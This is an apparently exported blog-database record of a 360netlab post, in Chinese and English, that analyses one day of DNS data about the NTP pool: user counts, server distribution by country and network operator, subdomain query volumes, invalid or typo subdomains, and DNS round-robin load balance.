pool的重视。"}]],"markups":[["strong"],["a",["href","https://zh.wikipedia.org/wiki/NTP_pool"]],["a",["href","https://weberblog.net/why-should-i-run-own-ntp-servers/"]],["a",["href","https://www.pool.ntp.org/en/vendors.html#pool-capacity"]],["a",["href","https://www.ntppool.org/zone"]],["a",["href","https://www.ntppool.org/en/vendors.html"]]],"sections":[[1,"p",[[0,[],0,"随着互联网的快速发展，其已经深入到日常生活中的方方面面，越来越多的业内人员对于网络基础设施的重要性有了非常深入的认识。不过谈到基础设施，通常都会谈及DNS协议，但是还有一个关键的协议NTP（"],[0,[0],1,"N"],[0,[],0,"etwork "],[0,[0],1,"T"],[0,[],0,"ime "],[0,[0],1,"P"],[0,[],0,"rotocol）却没有得到应有的重视。"]]],[1,"p",[[0,[],0,"NTP是否能够良好的工作会影响到计算机系统的大部分基于时间判定的逻辑的正确运行。比如DNSSEC是否过期，IPSEC的隧道建立，TLS证书的有效性校验，个人密码的过期，crontab任务的执行等等[1]。"]]],[1,"p",[[0,[],0,"NTP协议同DNS类似，是互联网最古老的协议之一，主要作用如其名字所说，用来保持设备时间的同步。在我们使用的操作系统比如windows，Android或者Macos都配置有自己的NTP时间服务器来定期同步设备上的时间。"]]],[1,"h2",[[0,[],0,"NTP pool 是什么？"]]],[1,"p",[[0,[],0,"由于互联网的发展以及NTP业务的特殊性（时间需要定期同步），少量的NTP服务器的负载越来越大，并且公共一级NTP授时服务器存在被滥用的问题，2003年1月NTP pool项目正式设立。"]]],[1,"p",[[0,[],0,"其基本原理通过域名“pool.ntp.org”基于特定规则划分为多个子域名并在这些子域名上使用DNS轮询来提供所需的服务器IP地址来给客户端使用，这种技术类似于恶意软件所使用的DNS的fastflux技术，不过要早很多。如果读者基于DNS数据做过fastflux的检测，那么对 pool.ntp.org必然不会陌生，它是去噪的主要对象。"]]],[1,"p",[[0,[],0,"关于NTP pool的更多内容请参考"],[0,[1],1,"这里"],[0,[],0,"[2]。"]]],[1,"h2",[[0,[],0,"DNSMon"]]],[1,"p",[[0,[],0,"DNSMon是360netlab开发的基于海量DNS数据（国内5%左右的DNS流量）并结合whois，web，沙箱，蜜罐等多维度数据，对恶意域名进行综合分析，提取和拦截的安全系统。每天可以产生上千条恶意和高可疑域名黑名单，服务于国内大约2000万用户，并已稳定运行2年半。在无规则前提下，已拦截MSRAMiner，GodLua等十余种挖矿，DDoS等僵尸网络。"]]],[1,"p",[]],[10,0],[1,"h2",[[0,[],0,"参考资料："]]],[3,"ol",[[[0,[2],1,"https://weberblog.net/why-should-i-run-own-ntp-servers/"]],[[0,[1],1,"https://zh.wikipedia.org/wiki/NTP_pool"]],[[0,[3],1,"https://www.pool.ntp.org/en/vendors.html#pool-capacity"]],[[0,[4],1,"https://www.ntppool.org/zone"]],[[0,[5],1,"https://www.ntppool.org/en/vendors.html"]]]]],"ghostVersion":"3.0"} | 5ec50fb87646030007b27ade |
post | null | 2020-05-25T03:27:15.000Z | 63873b9a8b1c1e0007f52f73 | look-at-ntp-pool-using-dns-data_en | 0 | 2020-05-26T01:42:04.000Z | public | published | null | 2020-05-26T01:42:04.000Z | Look at NTP pool using DNS data | <p>With the rapid development of the Internet, more and more people have realized the importance of network infrastructure. We don’t hear people talk about NTP ( <strong>N</strong>etwork <strong>T</strong>ime <strong>P</strong>rotocol) much though.</p><p>Whether NTP can work well will affect the operation of most time-based computer system. For example, IPSEC tunnel establishment, TLS certificate validity verification, personal password expiration, crontab task execution, DNSSEC expiration etc. [1].</p><p>The NTP protocol is similar to DNS and is one of the oldest protocols on the Internet. Its main function is to keep the time of the device synchronized as its name suggests. The operating systems we use, such as windows, Android or MacOS, are all equipped with their own NTP time server to synchronize the time on the device regularly.</p><h2 id="what-is-ntp-pool">What is NTP pool?</h2><p>NTP pool project started in Jan 2003, the basic principle is that the domain name "pool.ntp.org" is divided into multiple sub-domains based on specific rules and DNS polling is used on these sub-domains to provide the required server IP address for the client to use.<br>This technique is actually somewhat similar to the fastflux technology of DNS used by some malwares. For someone who does research on DNS fastflux detection, the pool.ntp.org is certainly no stranger.<br>For more information about NTP pool, please refer <a href="https://zh.wikipedia.org/wiki/NTP_pool">here</a> [2].</p><h2 id="dnsmon">DNSMon</h2><p>DNSMon is a security system developed by 360netlab based on massive DNS data (about 5% of China DNS traffic) and combined with multi-dimensional data such as whois, web, sandbox, honeypot, etc. to conduct comprehensive analysis, extraction and interception of malicious domain names. Thousands of malicious and highly suspicious domain name blacklists can be generated every day, serving about 20 million users, and have been running steadily for 2.5 years. Under the premise of no rules, more than ten kinds of botnets such as MSRAMiner, GodLua, etc. have been intercepted for mining and DDoS purposes.</p><h2 id="look-at-ntp-pool-using-dns-data">Look at NTP pool using DNS data</h2><p>The use of a small number of domain names in the NTP pool is very common in our DNSMon system due to the huge amount of access requests, as well as a small number of dns names mapping to a large number of scattered IP addresses.</p><p><br>From the DNS perspective, in addition to being able to assess the scale of the NTP pool itself, it can also be used to measure some basic Internet services. After all, almost all networked devices must be time-synchronized. (We do see a small amount of devices having problem synchronizing time but that is less than 0.02%).</p><p><br>The following analysis is based on the data we gathered from 20200519 18:00 CST to 20200520 18:00 CST 24-hour NTP pool data from our DNSMon.</p><h3 id="number-of-service-users">Number of service users</h3><p>On it’s official NTP pool website, it shows that the number of its users is between 5 million and 15 million [3], and the server IP is around 4000 [4].<br>During the 24-hour period, a total of 880,000 different clients accessed the time synchronization service provided by the NTP pool. Considering the data coverage of our system, the number of users who use the NTP pool time synchronization service in China is quite near the upper limit of the number of users declared on their official website.</p><h3 id="servers">servers</h3><h4 id="basic-statistics">Basic statistics</h4><p>The number of NTP pool server IPs is 3758, including IPv6: 1028 and IPv4: 2730, distributed in 97 countries and regions around the world. It is mainly concentrated in countries with good developed networks such as the United States, Germany, France, Britain, Netherlands, and Canada. The specific distribution map is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/05/server_country-2.png" class="kg-image" alt loading="lazy"></figure><h4 id="ntp-server-in-china">NTP server in China</h4><p>As can be seen from the above figure, the number of domestic NTP server IP accounts for only 2% of the total number of active IPs in the total NTP pool. This value is much lower than the proportion of other network services.<br>There are 25 domestic operators in the NTP pool, the break downs is:</p><pre><code> 7 3462|Data_Communication_Business_Group
6 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
5 4538|China_Education_and_Research_Network_Center
5 45090|Shenzhen_Tencent_Computer_Systems_Company_Limited
4 132203|Tencent_Building,_Kejizhongyi_Avenue
3 4808|China_Unicom_Beijing_Province_Network
2 9381|HKBN_Enterprise_Solutions_HK_Limited
2 9304|HGC_Global_Communications_Limited
2 36351|SoftLayer_Technologies_Inc.
2 133752|Leaseweb_Asia_Pacific_pte._ltd.
2 10229|Internet_Content_Provider
1 9312|xTom
1 8075|Microsoft_Corporation
1 58461|No.288,Fu-chun_Road
1 55990|Huawei_Cloud_Service_data_center
1 5580|Hibernia_Networks_(Netherlands)_BV
1 4847|China_Networks_Inter-Exchange
1 4780|Digital_United_Inc.
1 4609|Companhia_de_Telecomunicacoes_de_Macau_SARL
1 45102|Alibaba_(US)_Technology_Co.,_Ltd.
1 4134|No.31,Jin-rong_Street
1 23734|Netrouting_Inc
1 17964|Beijing_Dian-Xin-Tong_Network_Technologies_Co.,_Ltd.
1 139240|Starch_Works
1 131584|Taiwan_Intelligent_Fiber_Optic_Network_Co.,Ltd.
</code></pre><p>From the geographical point of view, the domestic IP in the NTP pool is mainly concentrated in Hong Kong, Taiwan, Guangdong and Beijing. The specific distribution is as follows:</p><pre><code> 18 Hong_Kong
11 Taiwan
9 Guangdong
6 Beijing
4 Liaoning
2 Shandong
1 Zhejiang
1 Sichuan
1 Macau
1 Guangxi
</code></pre><h4 id="ntp-pool-subdomain-distribution">NTP pool subdomain distribution</h4><p>At present, the categories of subdomains are mainly divided into three ways:</p><!--kg-card-begin: markdown--><ul>
<li>By continent</li>
<li>By country</li>
<li>By vendor</li>
</ul>
<!--kg-card-end: markdown--><p>Among them, the continents and countries are divided based on the concept of geographical zoning. The core idea is similar to the ECS in DNS. Try to provide an NTP server that is close to the geographical location of the user's source.</p><p>The NTP pool for vendor provides sub-domain names with a high degree of identification for specific vendors (router vendors, operating systems, and other hardware and software vendors). Vendors can directly use the subdomains provided by NTP pool within their products. Something like this:</p><pre><code>0.vendor.pool.ntp.org
1.vendor.pool.ntp.org
2.vendor.pool.ntp.org
3.vendor.pool.ntp.org
</code></pre><p>Visit <a href="https://www.ntppool.org/en/vendors.html">here</a> for the NTP pool for vendor page here to get more details [5].</p><h5 id="some-basic-subdomain-numbers">Some Basic subdomain numbers</h5><p>According to our statistics, within 24 hours, there are 682 NTP Pool domain names showed up in our DNSMon, including 534 valid subdomains and 148 invalid subdomains (see the next section). The sub-domain names on top of the list are as follows, as expected, mainly based on countries and regions such as: cn/hk/tw/jp/sg and visits based on Asia. The other perspective is based on the access of OS such as android/openwrt/centos, and the access of native [0-3] .pool.ntp.org.</p><pre><code> 146677 "cn.pool.ntp.org"
145710 "asia.pool.ntp.org"
143637 "2.android.pool.ntp.org"
109730 "1.cn.pool.ntp.org"
109123 "hk.pool.ntp.org"
108859 "tw.pool.ntp.org"
107648 "jp.pool.ntp.org"
107471 "sg.pool.ntp.org"
93682 "2.asia.pool.ntp.org"
91415 "0.pool.ntp.org"
82659 "pool.ntp.org"
81139 "0.cn.pool.ntp.org"
77800 "0.asia.pool.ntp.org"
77077 "2.pool.ntp.org"
73512 "3.cn.pool.ntp.org"
72855 "1.asia.pool.ntp.org"
71965 "2.openwrt.pool.ntp.org"
71907 "3.pool.ntp.org"
70814 "1.pool.ntp.org"
70158 "0.centos.pool.ntp.org"
</code></pre><h5 id="differences-in-access-by-different-vendors">Differences in access by different vendors</h5><p>Among the TOP subdomains, we see vendor names such as android / openwrt / centos. We digged into our data and have generated the following word cloud according to the number of visits:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/05/vendor_tag_cloud-1.png" class="kg-image" alt loading="lazy"></figure><p><br>The vendors include not only the common Linux releases, but also some network equipment manufacturers, as well as some consumer smart devices and security network products. From the security perspective, some users probably don’t really want their devices type to be leaked this way.</p><h5 id="invalid-subdomain">Invalid subdomain</h5><p>We found that nearly 3% of the DNS request domain names of the NTP pool are invalid. There are 148 invalid domain names (except ap.pool.ntp. org, of which NTP time synchronization service was provided but later stopped, none of the remaining domain names have provided NTP time synchronization services).</p><!--kg-card-begin: markdown--><ul>
<li>Old devices which have not got the necessary update so they still use old NTP pool domain such as the aforementioned domain name: ap.pool.ntp.org</li>
<li>The initial built-in NTP pool domain name has typo, such as: asis.pool.ntp.org, asian.pool.ntp.org, etc.</li>
<li>Buggy NTP client causes the wrong domain name to be requested, for example, the wrong prefix "www" was accidently added, example: www.africa.pool.ntp.org, www.europe.pool.ntp.org, www.oceania.pool.ntp.org etc.</li>
</ul>
<!--kg-card-end: markdown--><p>The TOP 50 domain name and the number of requests (accounting for 98.26% of the total number of invalid requests) are as follows:</p><pre><code> 18468 "2.generic.pool.ntp.org"
18423 "1.generic.pool.ntp.org"
18407 "0.generic.pool.ntp.org"
18374 "3.generic.pool.ntp.org"
3676 "4.pool.ntp.org"
1538 "www.2.android.pool.ntp.org"
1372 "www.africa.pool.ntp.org"
1360 "www.europe.pool.ntp.org"
1357 "www.south-america.pool.ntp.org"
1339 "www.asia.pool.ntp.org"
1331 "4.asia.pool.ntp.org"
1318 "www.oceania.pool.ntp.org"
1306 "www.north-america.pool.ntp.org"
1285 "ntp.pool.ntp.org"
1252 "asian.pool.ntp.org"
1212 "north.pool.ntp.org"
1163 "south.pool.ntp.org"
1121 "e.g.pool.ntp.org"
1014 "0.ol.pool.ntp.org"
1000 "1.ol.pool.ntp.org"
997 "3.ol.pool.ntp.org"
980 "2.ol.pool.ntp.org"
927 "0.vmware.pool.ntp.org1.vmware.pool.ntp.org"
893 "www.1.centos.pool.ntp.org"
891 "www.0.centos.pool.ntp.org"
856 "www.0.asia.pool.ntp.org"
639 "sg.cn.pool.ntp.org"
548 "5.pool.ntp.org"
445 "cn1.pool.ntp.org"
411 "asis.pool.ntp.org"
402 "china.pool.ntp.org"
362 "-pcn.pool.ntp.org"
320 "n.pool.ntp.org"
320 "america.pool.ntp.org"
215 "2.euleros.pool.ntp.org"
205 "2.android2.pool.ntp.org"
198 "0.euleros.pool.ntp.org"
192 "2.android1.pool.ntp.org"
190 "3.euleros.pool.ntp.org"
185 "1.euleros.pool.ntp.org"
178 "4.cn.pool.ntp.org"
157 "172.130.192.250.cn.pool.ntp.org"
136 "norch-america.pool.ntp.org"
136 "1.librecmc.pool.ntp.org"
129 "2.librecmc.pool.ntp.org"
125 "qqqqqqq2.android.pool.ntp.org"
121 "0.librecmc.pool.ntp.org"
119 "aisa.pool.ntp.org"
118 "3.librecmc.pool.ntp.org"
103 "0.isoft.pool.ntp.org"
</code></pre><h4 id="ntp-pool-dns-polling-efficiency">NTP pool DNS polling efficiency</h4><p>As mentioned earlier, the NTP pool uses DNS polling based on the pool subdomain to provide the required server IP to the client. Our DNSMon can measure the efficiency of its DNS polling by counting the rrset frequency of A / AAAA records in DNS.<br>In theory, if the load balancing is good, the chances of different IPs combining into rrset are equal.<br>However, due to the influence of geographic location, service capabilities of different servers, and service strategies of different servers in actual operation, the number of different IP combinations for rrset vary greatly. We noticed that the rrset composed of different server IPs returned to the user by the NTP pool is very different.<br>Our data shows that there are 414,252 rrsets in 3758 IPs, of which TOP4000's rrset (1%) accounts for 41.21% of the total number of records. The cumulative distribution graph of different rrsets is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/05/cdf-1.png" class="kg-image" alt loading="lazy"></figure><h2 id="conclusion">Conclusion</h2><!--kg-card-begin: markdown--><ol>
<li>When we have massive amount of DNS data, various services that use DNS can be well evaluated. NTP pool is a typical example.</li>
<li>The number of server IPs in the NTP pool is around 4,000, and the number of users far exceeds 15 million.</li>
<li>Domestically, there are not many servers participating NTP pool service and the servers are mainly concentrated in Hong Kong and Taiwan. In mainland China it is mainly concentrated in developed provinces and cities such as Guangdong and Beijing.</li>
<li>The access to the NTP pool subdomain is generally successful from a geographical point of view. However, in China, there are large load differences between different servers.</li>
<li>About 3% of the domain names requested by the NTP pool are invalid, and almost all the invalid domain names have never provied time synchronization service.</li>
<li>DNS request data from the vendor-type subdomain of the NTP pool can be a good assessment of the size and business of specific vendors.</li>
</ol>
<!--kg-card-end: markdown--><h2 id="reference-materials">Reference materials</h2><ol><li><a href="https://weberblog.net/why-should-i-run-own-ntp-servers/">https://weberblog.net/why-should-i-run-own-ntp-servers/</a></li><li><a href="https://zh.wikipedia.org/wiki/NTP_pool">https://zh.wikipedia.org/wiki/NTP_pool</a></li><li><a href="https://www.pool.ntp.org/en/vendors.html#pool-capacity">https://www.pool.ntp.org/en/vendors.html#pool-capacity</a></li><li><a href="https://www.ntppool.org/zone">https://www.ntppool.org/zone</a></li><li><a href="https://www.ntppool.org/en/vendors.html">https://www.ntppool.org/en/vendors.html</a></li></ol> | With the rapid development of the Internet, more and more people have realized the importance of network infrastructure. We don’t hear people talk about NTP ( Network Time Protocol) much though.
Whether NTP can work well will affect the operation of most time-based computer system. For example, IPSEC tunnel establishment, TLS certificate validity verification, personal password expiration, crontab task execution, DNSSEC expiration etc. [1].
The NTP protocol is similar to DNS and is one of the oldest protocols on the Internet. Its main function is to keep the time of the device synchronized as its name suggests. The operating systems we use, such as windows, Android or MacOS, are all equipped with their own NTP time server to synchronize the time on the device regularly.
What is NTP pool?
NTP pool project started in Jan 2003, the basic principle is that the domain name "pool.ntp.org" is divided into multiple sub-domains based on specific rules and DNS polling is used on these sub-domains to provide the required server IP address for the client to use.
This technique is actually somewhat similar to the fastflux technology of DNS used by some malwares. For someone who does research on DNS fastflux detection, the pool.ntp.org is certainly no stranger.
For more information about NTP pool, please refer here [2].
DNSMon
DNSMon is a security system developed by 360netlab based on massive DNS data (about 5% of China DNS traffic) and combined with multi-dimensional data such as whois, web, sandbox, honeypot, etc. to conduct comprehensive analysis, extraction and interception of malicious domain names. Thousands of malicious and highly suspicious domain name blacklists can be generated every day, serving about 20 million users, and have been running steadily for 2.5 years. Under the premise of no rules, more than ten kinds of botnets such as MSRAMiner, GodLua, etc. have been intercepted for mining and DDoS purposes.
Look at NTP pool using DNS data
The use of a small number of domain names in the NTP pool is very common in our DNSMon system due to the huge amount of access requests, as well as a small number of dns names mapping to a large number of scattered IP addresses.
From the DNS perspective, in addition to being able to assess the scale of the NTP pool itself, it can also be used to measure some basic Internet services. After all, almost all networked devices must be time-synchronized. (We do see a small amount of devices having problem synchronizing time but that is less than 0.02%).
The following analysis is based on the data we gathered from 20200519 18:00 CST to 20200520 18:00 CST 24-hour NTP pool data from our DNSMon.
Number of service users
On it’s official NTP pool website, it shows that the number of its users is between 5 million and 15 million [3], and the server IP is around 4000 [4].
During the 24-hour period, a total of 880,000 different clients accessed the time synchronization service provided by the NTP pool. Considering the data coverage of our system, the number of users who use the NTP pool time synchronization service in China is quite near the upper limit of the number of users declared on their official website.
servers
Basic statistics
The number of NTP pool server IPs is 3758, including IPv6: 1028 and IPv4: 2730, distributed in 97 countries and regions around the world. It is mainly concentrated in countries with good developed networks such as the United States, Germany, France, Britain, Netherlands, and Canada. The specific distribution map is as follows:
NTP server in China
As can be seen from the above figure, the number of domestic NTP server IP accounts for only 2% of the total number of active IPs in the total NTP pool. This value is much lower than the proportion of other network services.
There are 25 domestic operators in the NTP pool, the break downs is:
7 3462|Data_Communication_Business_Group
6 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
5 4538|China_Education_and_Research_Network_Center
5 45090|Shenzhen_Tencent_Computer_Systems_Company_Limited
4 132203|Tencent_Building,_Kejizhongyi_Avenue
3 4808|China_Unicom_Beijing_Province_Network
2 9381|HKBN_Enterprise_Solutions_HK_Limited
2 9304|HGC_Global_Communications_Limited
2 36351|SoftLayer_Technologies_Inc.
2 133752|Leaseweb_Asia_Pacific_pte._ltd.
2 10229|Internet_Content_Provider
1 9312|xTom
1 8075|Microsoft_Corporation
1 58461|No.288,Fu-chun_Road
1 55990|Huawei_Cloud_Service_data_center
1 5580|Hibernia_Networks_(Netherlands)_BV
1 4847|China_Networks_Inter-Exchange
1 4780|Digital_United_Inc.
1 4609|Companhia_de_Telecomunicacoes_de_Macau_SARL
1 45102|Alibaba_(US)_Technology_Co.,_Ltd.
1 4134|No.31,Jin-rong_Street
1 23734|Netrouting_Inc
1 17964|Beijing_Dian-Xin-Tong_Network_Technologies_Co.,_Ltd.
1 139240|Starch_Works
1 131584|Taiwan_Intelligent_Fiber_Optic_Network_Co.,Ltd.
From the geographical point of view, the domestic IP in the NTP pool is mainly concentrated in Hong Kong, Taiwan, Guangdong and Beijing. The specific distribution is as follows:
18 Hong_Kong
11 Taiwan
9 Guangdong
6 Beijing
4 Liaoning
2 Shandong
1 Zhejiang
1 Sichuan
1 Macau
1 Guangxi
NTP pool subdomain distribution
At present, the categories of subdomains are mainly divided into three ways:
* By continent
* By country
* By vendor
Among them, the continents and countries are divided based on the concept of geographical zoning. The core idea is similar to the ECS in DNS. Try to provide an NTP server that is close to the geographical location of the user's source.
The NTP pool for vendor provides sub-domain names with a high degree of identification for specific vendors (router vendors, operating systems, and other hardware and software vendors). Vendors can directly use the subdomains provided by NTP pool within their products. Something like this:
0.vendor.pool.ntp.org
1.vendor.pool.ntp.org
2.vendor.pool.ntp.org
3.vendor.pool.ntp.org
Visit here for the NTP pool for vendor page here to get more details [5].
Some Basic subdomain numbers
According to our statistics, within 24 hours, there are 682 NTP Pool domain names showed up in our DNSMon, including 534 valid subdomains and 148 invalid subdomains (see the next section). The sub-domain names on top of the list are as follows, as expected, mainly based on countries and regions such as: cn/hk/tw/jp/sg and visits based on Asia. The other perspective is based on the access of OS such as android/openwrt/centos, and the access of native [0-3] .pool.ntp.org.
146677 "cn.pool.ntp.org"
145710 "asia.pool.ntp.org"
143637 "2.android.pool.ntp.org"
109730 "1.cn.pool.ntp.org"
109123 "hk.pool.ntp.org"
108859 "tw.pool.ntp.org"
107648 "jp.pool.ntp.org"
107471 "sg.pool.ntp.org"
93682 "2.asia.pool.ntp.org"
91415 "0.pool.ntp.org"
82659 "pool.ntp.org"
81139 "0.cn.pool.ntp.org"
77800 "0.asia.pool.ntp.org"
77077 "2.pool.ntp.org"
73512 "3.cn.pool.ntp.org"
72855 "1.asia.pool.ntp.org"
71965 "2.openwrt.pool.ntp.org"
71907 "3.pool.ntp.org"
70814 "1.pool.ntp.org"
70158 "0.centos.pool.ntp.org"
Differences in access by different vendors
Among the TOP subdomains, we see vendor names such as android / openwrt / centos. We digged into our data and have generated the following word cloud according to the number of visits:
The vendors include not only the common Linux releases, but also some network equipment manufacturers, as well as some consumer smart devices and security network products. From the security perspective, some users probably don’t really want their devices type to be leaked this way.
Invalid subdomain
We found that nearly 3% of the DNS request domain names of the NTP pool are invalid. There are 148 invalid domain names (except ap.pool.ntp. org, of which NTP time synchronization service was provided but later stopped, none of the remaining domain names have provided NTP time synchronization services).
* Old devices which have not got the necessary update so they still use old NTP pool domain such as the aforementioned domain name: ap.pool.ntp.org
* The initial built-in NTP pool domain name has typo, such as: asis.pool.ntp.org, asian.pool.ntp.org, etc.
* Buggy NTP client causes the wrong domain name to be requested, for example, the wrong prefix "www" was accidently added, example: www.africa.pool.ntp.org, www.europe.pool.ntp.org, www.oceania.pool.ntp.org etc.
The TOP 50 domain name and the number of requests (accounting for 98.26% of the total number of invalid requests) are as follows:
18468 "2.generic.pool.ntp.org"
18423 "1.generic.pool.ntp.org"
18407 "0.generic.pool.ntp.org"
18374 "3.generic.pool.ntp.org"
3676 "4.pool.ntp.org"
1538 "www.2.android.pool.ntp.org"
1372 "www.africa.pool.ntp.org"
1360 "www.europe.pool.ntp.org"
1357 "www.south-america.pool.ntp.org"
1339 "www.asia.pool.ntp.org"
1331 "4.asia.pool.ntp.org"
1318 "www.oceania.pool.ntp.org"
1306 "www.north-america.pool.ntp.org"
1285 "ntp.pool.ntp.org"
1252 "asian.pool.ntp.org"
1212 "north.pool.ntp.org"
1163 "south.pool.ntp.org"
1121 "e.g.pool.ntp.org"
1014 "0.ol.pool.ntp.org"
1000 "1.ol.pool.ntp.org"
997 "3.ol.pool.ntp.org"
980 "2.ol.pool.ntp.org"
927 "0.vmware.pool.ntp.org1.vmware.pool.ntp.org"
893 "www.1.centos.pool.ntp.org"
891 "www.0.centos.pool.ntp.org"
856 "www.0.asia.pool.ntp.org"
639 "sg.cn.pool.ntp.org"
548 "5.pool.ntp.org"
445 "cn1.pool.ntp.org"
411 "asis.pool.ntp.org"
402 "china.pool.ntp.org"
362 "-pcn.pool.ntp.org"
320 "n.pool.ntp.org"
320 "america.pool.ntp.org"
215 "2.euleros.pool.ntp.org"
205 "2.android2.pool.ntp.org"
198 "0.euleros.pool.ntp.org"
192 "2.android1.pool.ntp.org"
190 "3.euleros.pool.ntp.org"
185 "1.euleros.pool.ntp.org"
178 "4.cn.pool.ntp.org"
157 "172.130.192.250.cn.pool.ntp.org"
136 "norch-america.pool.ntp.org"
136 "1.librecmc.pool.ntp.org"
129 "2.librecmc.pool.ntp.org"
125 "qqqqqqq2.android.pool.ntp.org"
121 "0.librecmc.pool.ntp.org"
119 "aisa.pool.ntp.org"
118 "3.librecmc.pool.ntp.org"
103 "0.isoft.pool.ntp.org"
NTP pool DNS polling efficiency
As mentioned earlier, the NTP pool uses DNS polling based on the pool subdomain to provide the required server IP to the client. Our DNSMon can measure the efficiency of its DNS polling by counting the rrset frequency of A / AAAA records in DNS.
In theory, if the load balancing is good, the chances of different IPs combining into rrset are equal.
However, due to the influence of geographic location, service capabilities of different servers, and service strategies of different servers in actual operation, the number of different IP combinations for rrset vary greatly. We noticed that the rrset composed of different server IPs returned to the user by the NTP pool is very different.
Our data shows that there are 414,252 rrsets in 3758 IPs, of which TOP4000's rrset (1%) accounts for 41.21% of the total number of records. The cumulative distribution graph of different rrsets is as follows:
Conclusion
1. When we have massive amount of DNS data, various services that use DNS can be well evaluated. NTP pool is a typical example.
2. The number of server IPs in the NTP pool is around 4,000, and the number of users far exceeds 15 million.
3. Domestically, there are not many servers participating NTP pool service and the servers are mainly concentrated in Hong Kong and Taiwan. In mainland China it is mainly concentrated in developed provinces and cities such as Guangdong and Beijing.
4. The access to the NTP pool subdomain is generally successful from a geographical point of view. However, in China, there are large load differences between different servers.
5. About 3% of the domain names requested by the NTP pool are invalid, and almost all the invalid domain names have never provied time synchronization service.
6. DNS request data from the vendor-type subdomain of the NTP pool can be a good assessment of the size and business of specific vendors.
Reference materials
1. https://weberblog.net/why-should-i-run-own-ntp-servers/
2. https://zh.wikipedia.org/wiki/NTP_pool
3. https://www.pool.ntp.org/en/vendors.html#pool-capacity
4. https://www.ntppool.org/zone
5. https://www.ntppool.org/en/vendors.html | {"version":"0.3.1","atoms":[["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2020/05/server_country-2.png"}],["code",{"code":" 7 3462|Data_Communication_Business_Group\n 6 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.\n 5 4538|China_Education_and_Research_Network_Center\n 5 45090|Shenzhen_Tencent_Computer_Systems_Company_Limited\n 4 132203|Tencent_Building,_Kejizhongyi_Avenue\n 3 4808|China_Unicom_Beijing_Province_Network\n 2 9381|HKBN_Enterprise_Solutions_HK_Limited\n 2 9304|HGC_Global_Communications_Limited\n 2 36351|SoftLayer_Technologies_Inc.\n 2 133752|Leaseweb_Asia_Pacific_pte._ltd.\n 2 10229|Internet_Content_Provider\n 1 9312|xTom\n 1 8075|Microsoft_Corporation\n 1 58461|No.288,Fu-chun_Road\n 1 55990|Huawei_Cloud_Service_data_center\n 1 5580|Hibernia_Networks_(Netherlands)_BV\n 1 4847|China_Networks_Inter-Exchange\n 1 4780|Digital_United_Inc.\n 1 4609|Companhia_de_Telecomunicacoes_de_Macau_SARL\n 1 45102|Alibaba_(US)_Technology_Co.,_Ltd.\n 1 4134|No.31,Jin-rong_Street\n 1 23734|Netrouting_Inc\n 1 17964|Beijing_Dian-Xin-Tong_Network_Technologies_Co.,_Ltd.\n 1 139240|Starch_Works\n 1 131584|Taiwan_Intelligent_Fiber_Optic_Network_Co.,Ltd.\n"}],["code",{"code":" 18 Hong_Kong\n 11 Taiwan\n 9 Guangdong\n 6 Beijing\n 4 Liaoning\n 2 Shandong\n 1 Zhejiang\n 1 Sichuan\n 1 Macau\n 1 Guangxi\n"}],["markdown",{"markdown":"* By continent \n* By country \n* By vendor"}],["code",{"code":"0.vendor.pool.ntp.org\n1.vendor.pool.ntp.org\n2.vendor.pool.ntp.org\n3.vendor.pool.ntp.org\n"}],["code",{"code":" 146677 \"cn.pool.ntp.org\"\n 145710 \"asia.pool.ntp.org\"\n 143637 \"2.android.pool.ntp.org\"\n 109730 \"1.cn.pool.ntp.org\"\n 109123 \"hk.pool.ntp.org\"\n 108859 \"tw.pool.ntp.org\"\n 107648 \"jp.pool.ntp.org\"\n 107471 \"sg.pool.ntp.org\"\n 93682 \"2.asia.pool.ntp.org\"\n 91415 \"0.pool.ntp.org\"\n 82659 \"pool.ntp.org\"\n 81139 \"0.cn.pool.ntp.org\"\n 77800 \"0.asia.pool.ntp.org\"\n 77077 \"2.pool.ntp.org\"\n 73512 \"3.cn.pool.ntp.org\"\n 72855 \"1.asia.pool.ntp.org\"\n 71965 \"2.openwrt.pool.ntp.org\"\n 71907 \"3.pool.ntp.org\"\n 70814 \"1.pool.ntp.org\"\n 70158 \"0.centos.pool.ntp.org\"\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/05/vendor_tag_cloud-1.png"}],["markdown",{"markdown":"* Old devices which have not got the necessary update so they still use old NTP pool domain such as the aforementioned domain name: ap.pool.ntp.org\n* The initial built-in NTP pool domain name has typo, such as: asis.pool.ntp.org, asian.pool.ntp.org, etc.\n* Buggy NTP client causes the wrong domain name to be requested, for example, the wrong prefix \"www\" was accidently added, example: www.africa.pool.ntp.org, www.europe.pool.ntp.org, www.oceania.pool.ntp.org etc."}],["code",{"code":" 18468 \"2.generic.pool.ntp.org\"\n 18423 \"1.generic.pool.ntp.org\"\n 18407 \"0.generic.pool.ntp.org\"\n 18374 \"3.generic.pool.ntp.org\"\n 3676 \"4.pool.ntp.org\"\n 1538 \"www.2.android.pool.ntp.org\"\n 1372 \"www.africa.pool.ntp.org\"\n 1360 \"www.europe.pool.ntp.org\"\n 1357 \"www.south-america.pool.ntp.org\"\n 1339 \"www.asia.pool.ntp.org\"\n 1331 \"4.asia.pool.ntp.org\"\n 1318 \"www.oceania.pool.ntp.org\"\n 1306 \"www.north-america.pool.ntp.org\"\n 1285 \"ntp.pool.ntp.org\"\n 1252 \"asian.pool.ntp.org\"\n 1212 \"north.pool.ntp.org\"\n 1163 \"south.pool.ntp.org\"\n 1121 \"e.g.pool.ntp.org\"\n 1014 \"0.ol.pool.ntp.org\"\n 1000 \"1.ol.pool.ntp.org\"\n 997 \"3.ol.pool.ntp.org\"\n 980 \"2.ol.pool.ntp.org\"\n 927 \"0.vmware.pool.ntp.org1.vmware.pool.ntp.org\"\n 893 \"www.1.centos.pool.ntp.org\"\n 891 \"www.0.centos.pool.ntp.org\"\n 856 \"www.0.asia.pool.ntp.org\"\n 639 \"sg.cn.pool.ntp.org\"\n 548 \"5.pool.ntp.org\"\n 445 \"cn1.pool.ntp.org\"\n 411 \"asis.pool.ntp.org\"\n 402 \"china.pool.ntp.org\"\n 362 